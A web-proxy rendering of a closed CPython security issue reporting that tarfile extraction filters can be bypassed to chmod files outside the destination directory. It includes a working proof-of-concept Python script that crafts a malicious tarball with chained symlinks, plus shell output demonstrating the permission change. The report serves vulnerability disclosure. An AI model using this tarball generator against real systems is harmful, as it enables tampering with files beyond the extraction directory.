GeezerVisonThe World Wide Web, restored to 800 pixels of glory. |
| Home|About|Gaming cabinet|Archives|How it works|Starter sites |
GeezerVison is showing github.com — TarFile.extractall(..., filter='tar') arbitrary file chmod · Issue #127987 · python/cpython Closed Labels 3.10 (EOL)end of lifeend of life3.11only security fixesonly security fixes3.12only security fixesonly security fixes3.13only security fixesonly security fixes3.14bugs and security fixesbugs and security fixes3.9 (EOL)end of lifeend of lifestdlibStandard Library Python modules in the Lib/ directoryStandard Library Python modules in the Lib/ directorytype-bugAn unexpected behavior, bug, or errorAn unexpected behavior, bug, or errortype-securityA security issueA security issue Description
$ target=$(mktemp) $ defeatpep706 eggs.tar $target $ ls -l $target -rw------- 1 jwilk jwilk 0 Dec 16 12:00 /tmp/tmp.uxCZC0Zs3F $ python3 -m tarfile --filter=tar -e eggs.tar $(mktemp -d) $ ls -l $target -rwxr-xr-x 1 jwilk jwilk 0 Jan 1 1970 /tmp/tmp.uxCZC0Zs3F
$ target=$(mktemp) $ defeatpep706 eggs.tar $target $ ls -l $target -rw------- 1 jwilk jwilk 0 Dec 16 12:01 /tmp/tmp.WeCifOsQmp $ python3.12 -m tarfile --filter=data -e eggs.tar $(mktemp -d) $ ls -l $target -rw------- 1 jwilk jwilk 0 Jan 1 1970 /tmp/tmp.WeCifOsQmp Here's the source for the #!/usr/bin/python3 import argparse import os import tarfile ap = arparse = argparse.ArgumentParser() ap.add_argument('tarpath', metavar='TARBALL') ap.add_argument('target', metavar='TARGET') opts = ap.parse_args() target = os.path.abspath(opts.target) with tarfile.open(opts.tarpath, 'w') as tar: def addmemb(name, **kwargs): memb = tarfile.TarInfo(name) for k, v in kwargs.items(): getattr(memb, k) setattr(memb, k, v) tar.addfile(memb) # lrw-r--r-- pwn -> . addmemb('pwn', type=tarfile.SYMTYPE, linkname='.') # "pwn" is a very innocent symlink. # drwxrwxrwx pwn/ addmemb('pwn', type=tarfile.DIRTYPE, mode=0o777) # But now "pwn" is also a directory, so it's scheduled to have its # metadata updated later. # lrw-r--r-- pwn -> x/x/x/x/⋯⋯⋯/x/../../../../⋯⋯⋯/../TARGET addmemb('pwn', type=tarfile.SYMTYPE, linkname=('x/' * 99 + '../' * 99 + target)) # Oops, "pwn" is not so innocent any more. # But technically it's still pointing inside the dest dir, # so it doesn't upset the "data" filter. # lrw-r--r-- x/x/x/x/⋯⋯⋯/x -> ../../../⋯⋯⋯/.. addmemb(('x/' * 99), type=tarfile.SYMTYPE, linkname=('../' * 98)) # The newly created symlink symlink points to the dest dir, # so it's OK for the "data" filter. # But now "pwn" points to the target (outside the dest dir). Tested with Python 3.12.8. Linked PRsActivity
MetadataMetadataAssigneesLabels3.10 (EOL)end of lifeend of life3.11only security fixesonly security fixes3.12only security fixesonly security fixes3.13only security fixesonly security fixes3.14bugs and security fixesbugs and security fixes3.9 (EOL)end of lifeend of lifestdlibStandard Library Python modules in the Lib/ directoryStandard Library Python modules in the Lib/ directorytype-bugAn unexpected behavior, bug, or errorAn unexpected behavior, bug, or errortype-securityA security issueA security issue Projects
MilestoneRelationshipsDevelopmentIssue actions |
| You are visitor 01402503 — GeezerVison does not store the pages you look up. Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required. |